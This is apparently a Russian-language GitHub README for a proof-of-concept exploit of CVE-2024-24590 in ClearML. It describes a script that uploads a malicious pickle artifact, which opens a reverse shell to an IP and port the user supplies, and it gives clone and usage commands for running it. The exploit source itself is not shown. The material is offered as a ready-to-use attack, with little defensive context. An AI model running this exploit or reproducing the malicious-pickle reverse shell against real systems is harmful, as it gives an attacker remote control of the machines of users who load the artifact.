oxydev2/clearml-cve-2024-24590Доказательство концепции для CVE-2024-24590
_____ _ __ __ _ _____ ____ _____
/ ____| | | \/ | | | __ \ / __ \ / ____|
| | | | ___ __ _ _ __| \ / | | | |__) | | | | |
| | | |/ _ \/ _` | '__| |\/| | | | ___/| | | | |
| |____| | __/ (_| | | | | | | |____ | | | |__| | |____
\_____|_|\___|\__,_|_| |_| |_|______| |_| \____/ \_____| - 2024-24590 x OxyDe
Этот проект демонстрирует, как динамически загрузить артефакт pickle в ClearML с настраиваемыми параметрами через аргументы командной строки. Скрипт инициализирует задачу ClearML, динамически настраивает команду для выполнения обратного шелла и загружает её как артефакт. (PoC-CVE-2024-24590)
clearmlargparsepickleosУстановите пакет ClearML:
pip install clearml
Клонируйте репозиторий:
git clone https://github.com/OxyDeV2/PoC-CVE-2024-24590.git
cd PoC-CVE-2024-24590
Для запуска скрипта используйте следующую команду с соответствующими аргументами:
python script.py --project_name "<project_name>" --task_name "<task_name>" --tags <tag1> <tag2> ... --artifact_name "<artifact_name>" --ip "<ip_address>" --port "<port>"
Спасибо Skriix :)